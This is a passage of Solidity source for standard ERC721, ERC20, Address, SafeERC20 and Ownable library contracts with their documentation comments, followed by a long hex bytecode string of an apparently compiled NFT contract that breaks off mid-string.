(address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x60806040526004361061023b5760003560e01c806370a082311161012e578063bc41c9c6116100ab578063d368a28c1161006f578063d368a28c14610716578063d547cfb714610736578063e985e9c51461074b578063f2fde38b14610794578063fa3e4705146107b457600080fd5b8063bc41c9c61461065c578063c0e771af14610690578063c15cdd85146106af578063c662e481146106c2578063c87b56dd146106f657600080fd5b806395d89b41116100f257806395d89b41146105bd578063a22cb465146105d2578063a2309ff8146105f2578063b438e12e14610608578063b88d4fde1461063c57600080fd5b806370a0823114610516578063715018a614610536578063718bca541461054b57806377662ffc1461057f5780638da5cb5b1461059f57600080fd5b80632addf4b9116101bc57806342842e0e1161018057806342842e0e1461047c57806342966c681461049c5780634f6ccce7146104bc57806351830227146104dc5780636352211e146104f657600080fd5b80632addf4b9146103bb5780632d913bfb146103db5780632f745c591461040f5780633023eba61461042f5780633b1ab44c1461045c57600080fd5b80630cb71584116102035780630cb71584146103335780630d730acc14610353578063171387bb1461036657806318160ddd1461038657806323b872dd1461039b57600080fd5b806301ffc9a71461024057806306fdde0314610275578063081812fc14610297578063095ea7b3146102cf5780630aaef285146102f1575b600080fd5b34801561024c57600080fd5b5061026061025b36600461282b565b6107d4565b60405190151581526020015b60405180910390f35b34801561028157600080fd5b5061028a6107ff565b60405161026c91906128a0565b3480156102a357600080fd5b506102b76102b23660046128b3565b610891565b6040516001600160a01b03909116815260200161026c565b3480156102db57600080fd5b506102ef6102ea3660046128e1565b61092b565b005b3480156102fd57600080fd5b506103257f000000000000000000000000000000000000000000000000000000000000000a81565b60405190815260200161026c565b34801561033f57600080fd5b506102ef61034e36600461290d565b610a41565b6102ef6103613660046128b3565b610bad565b34801561037257600080fd5b506102ef61038136600461298d565b610be7565b34801561039257600080fd5b50600854610325565b3480156103a757600080fd5b506102ef6103b63660046129aa565b610c2b565b3480156103c757600080fd5b506102ef6103d636600461290d565b610c5d565b3480156103e757600080fd5b506103257f0000000000000000000000000000000000000000000000000000000061914ea081565b34801561041b57600080fd5b5061032561042a3660046128e1565b610cb6565b34801561043b57600080fd5b5061032561044a3660046129eb565b600e6020526000908152604090205481565b34801561046857600080fd5b506102ef6104773660046129eb565b610d4c565b34801561048857600080fd5b506102ef6104973660046129aa565b610e3e565b3480156104a857600080fd5b506102ef6104b73660046128b3565b610e59565b3480156104c857600080fd5b506103256104d73660046128b3565b610eb3565b3480156104e857600080fd5b50600d546102609060ff1681565b34801561050257600080fd5b506102b76105113660046128b3565b610f46565b34801561052257600080fd5b506103256105313660046129eb565b610fbd565b34801561054257600080fd5b506102ef611044565b34801561055757600080fd5b506103257f0000000000000000000000000000000000000000000000000000000061817ca081565b34801561058b57600080fd5b506102ef61059a366004612a08565b61107a565b3480156105ab57600080fd5b50600b546001600160a01b03166102b7565b3480156105c957600080fd5b5061028a6110f1565b3480156105de57600080fd5b506102ef6105ed366004612a4a565b611100565b3480156105fe57600080fd5b50610325600f5481565b34801561061457600080fd5b506103257f000000000000000000000000000000000000000000000000000000000000271081565b34801561064857600080fd5b506102ef610657366004612a99565b6111c5565b34801561066857600080fd5b506103257faea5de2f146485c5fc7bd1cd8f032380be94849ca23e4411d5088d721025a19981565b34801561069c57600080fd5b50600d5461026090610100900460ff1681565b6102ef6106bd3660046128e1565b6111fd565b3480156106ce57600080fd5b506103257f000000000000000000000000000000000000000000000000006a94d74f43000081565b34801561070257600080fd5b5061028a6107113660046128b3565b611278565b34801561072257600080fd5b506102ef6107313660046128e1565b611385565b34801561074257600080fd5b5061028a611421565b34801561075757600080fd5b50610260610766366004612b79565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156107a057600080fd5b506102ef6107af3660046129eb565b6114af565b3480156107c057600080fd5b506102ef6107cf366004612a08565b611547565b60006001600160e01b0319821663780e9d6360e01b14806107f957506107f9826115de565b92915050565b60606000805461080e90612ba7565b80601f016020809104026020016040519081016040528092919081815260200182805461083a90612ba7565b80156108875780601f1061085c57610100808354040283529160200191610887565b820191906000526020600020905b81548152906001019060200180831161086a57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661090f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061093682610f46565b9050806001600160a01b0316836001600160a01b031614156109a45760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610906565b336001600160a01b03821614806109c057506109c08133610766565b610a325760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610906565b610a3c838361162e565b505050565b600b546001600160a01b03163314610a6b5760405162461bcd60e51b815260040161090690612be2565b7f0000000000000000000000000000000000000000000000000000000000002710600f541480610abb57507f0000000000000000000000000000000000000000000000000000000061914ea04210155b610af15760405162461bcd60e51b81526020600482015260076024820152661b9bdd081e595d60ca1b6044820152606401610906565b7faea5de2f146485c5fc7bd1cd8f032380be94849ca23e4411d5088d721025a1998282604051602001610b25929190612c17565b6040516020818303038152906040528051906020012014610b715760405162461bcd60e51b8152600401610906906020808252600490820152630d0c2e6d60e31b604082015260600190565b600d5460ff1615610b945760405162461bcd60e51b815260040161090690612c27565b600d805460ff19166001179055610a3c600c838361277c565b6002600a541415610bd05760405162461bcd60e51b815260040161090690612c49565b6002600a55610bdf338261169c565b506001600a55565b600b546001600160a01b03163314610c115760405162461bcd60e51b815260040161090690612be2565b600d80549115156101000261ff0019909216919091179055565b610c36335b826118f1565b610c525760405162461bcd60e51b815260040161090690612c80565b610a3c8383836119e8565b600b546001600160a01b03163314610c875760405162461bcd60e51b815260040161090690612be2565b600d5460ff1615610caa5760405162461bcd60e51b815260040161090690612c27565b610a3c600c838361277c565b6000610cc183610fbd565b8210610d235760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610906565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600b546001600160a01b03163314610d765760405162461bcd60e51b815260040161090690612be2565b4780610dad5760405162461bcd60e51b8152602060048201526006602482015265185b5bdd5b9d60d21b6044820152606401610906565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610dfa576040519150601f19603f3d011682016040523d82523d6000602084013e610dff565b606091505b5050905080610a3c5760405162461bcd60e51b815260206004820152600b60248201526a1cd95b990819985a5b195960aa1b6044820152606401610906565b610a3c838383604051806020016040528060008152506111c5565b610e6233610c30565b610ea75760405162461bcd60e51b81526020600482015260166024820152751b9bdd081bdddb995c881b9bdc88185c1c1c9bdd995960521b6044820152606401610906565b610eb081611b93565b50565b6000610ebe60085490565b8210610f215760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610906565b60088281548110610f3457610f34612cd1565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806107f95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610906565b60006001600160a01b0382166110285760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610906565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b0316331461106e5760405162461bcd60e51b815260040161090690612be2565b6110786000611c3a565b565b600b546001600160a01b031633146110a45760405162461bcd60e51b815260040161090690612be2565b600082116110dd5760405162461bcd60e51b8152602060048201526006602482015265185b5bdd5b9d60d21b6044820152606401610906565b610a3c6001600160a01b0384168284611c8c565b60606001805461080e90612ba7565b6001600160a01b0382163314156111595760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610906565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6111cf33836118f1565b6111eb5760405162461bcd60e51b815260040161090690612c80565b6111f784848484611cde565b50505050565b6002600a5414156112205760405162461bcd60e51b815260040161090690612c49565b6002600a556001600160a01b0382166112655760405162461bcd60e51b81526020600482015260076024820152666164647265737360c81b6044820152606401610906565b61126f828261169c565b50506001600a55565b600d5460609060ff16806112935750600d54610100900460ff165b156112a1576107f982611d11565b6000828152600260205260409020546001600160a01b03166112f35760405162461bcd60e51b815260206004820152600b60248201526a1b9bdb995e1a5cdd195b9d60aa1b6044820152606401610906565b600c805461130090612ba7565b80601f016020809104026020016040519081016040528092919081815260200182805461132c90612ba7565b80156113795780601f1061134e57610100808354040283529160200191611379565b820191906000526020600020905b81548152906001019060200180831161135c57829003601f168201915b50505050509050919050565b6002600a5414156113a85760405162461bcd60e51b815260040161090690612c49565b6002600a55600b546001600160a01b031633146113d75760405162461bcd60e51b815260040161090690612be2565b6001600160a01b0382166114175760405162461bcd60e51b81526020600482015260076024820152666164647265737360c81b6044820152606401610906565b61126f8282611dec565b600c805461142e90612ba7565b80601f016020809104026020016040519081016040528092919081815260200182805461145a90612ba7565b80156114a75780601f1061147c576101008083540402835291602001916114a7565b820191906000526020600020905b81548152906001019060200180831161148a57829003601f168201915b505050505081565b600b546001600160a01b031633146114d95760405162461bcd60e51b815260040161090690612be2565b6001600160a01b03811661153e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610906565b610eb081611c3a565b600b546001600160a01b031633146115715760405162461bcd60e51b815260040161090690612be2565b604051632142170760e11b81523060048201526001600160a01b038281166024830152604482018490528416906342842e0e90606401600060405180830381600087803b1580156115c157600080fd5b505af11580156115d5573d6000803e3d6000fd5b50505050505050565b60006001600160e01b031982166380ac58cd60e01b148061160f57506001600160e01b03198216635b5e139f60e01b145b806107f957506301ffc9a760e01b6001600160e01b03198316146107f9565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061166382610f46565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b7f0000000000000000000000000000000000000000000000000000000061817ca04210156116f45760405162461bcd60e51b81526020600482015260056024820152641cdd185c9d60da1b6044820152606401610906565b600d5460ff16156117175760405162461bcd60e51b815260040161090690612c27565b6000811161174f5760405162461bcd60e51b815260206004820152600560248201526418dbdd5b9d60da1b6044820152606401610906565b6117797f000000000000000000000000000000000000000000000000006a94d74f43000082612cfd565b34146117b15760405162461bcd60e51b81526020600482015260076024820152661c185e5b595b9d60ca1b6044820152606401610906565b6001600160a01b0382166000908152600e60205260408120546117d5908390612d1c565b90507f000000000000000000000000000000000000000000000000000000000000000a81111561182d5760405162461bcd60e51b81526020600482015260036024820152620dac2f60eb1b6044820152606401610906565b600f54600061183c8483612d1c565b90507f00000000000000000000000000000000000000000000000000000000000027108111156118975760405162461bcd60e51b8152602060048201526006602482015265737570706c7960d01b6044820152606401610906565b60005b848110156118cc576118ac8684611f39565b826118b681612d34565b93505080806118c490612d34565b91505061189a565b506001600160a01b039094166000908152600e60205260409020919091555050600f55565b6000818152600260205260408120546001600160a01b031661196a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610906565b600061197583610f46565b9050806001600160a01b0316846001600160a01b031614806119b05750836001600160a01b03166119a584610891565b6001600160a01b0316145b806119e057506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166119fb82610f46565b6001600160a01b031614611a635760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610906565b6001600160a01b038216611ac55760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610906565b611ad0838383611f57565b611adb60008261162e565b6001600160a01b0383166000908152600360205260408120805460019290611b04908490612d4f565b90915550506001600160a01b0382166000908152600360205260408120805460019290611b32908490612d1c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000611b9e82610f46565b9050611bac81600084611f57565b611bb760008361162e565b6001600160a01b0381166000908152600360205260408120805460019290611be0908490612d4f565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610a3c90849061200f565b611ce98484846119e8565b611cf5848484846120e1565b6111f75760405162461bcd60e51b815260040161090690612d66565b6000818152600260205260409020546060906001600160a01b0316611d905760405162461bcd60e51b815260206004820152602f60248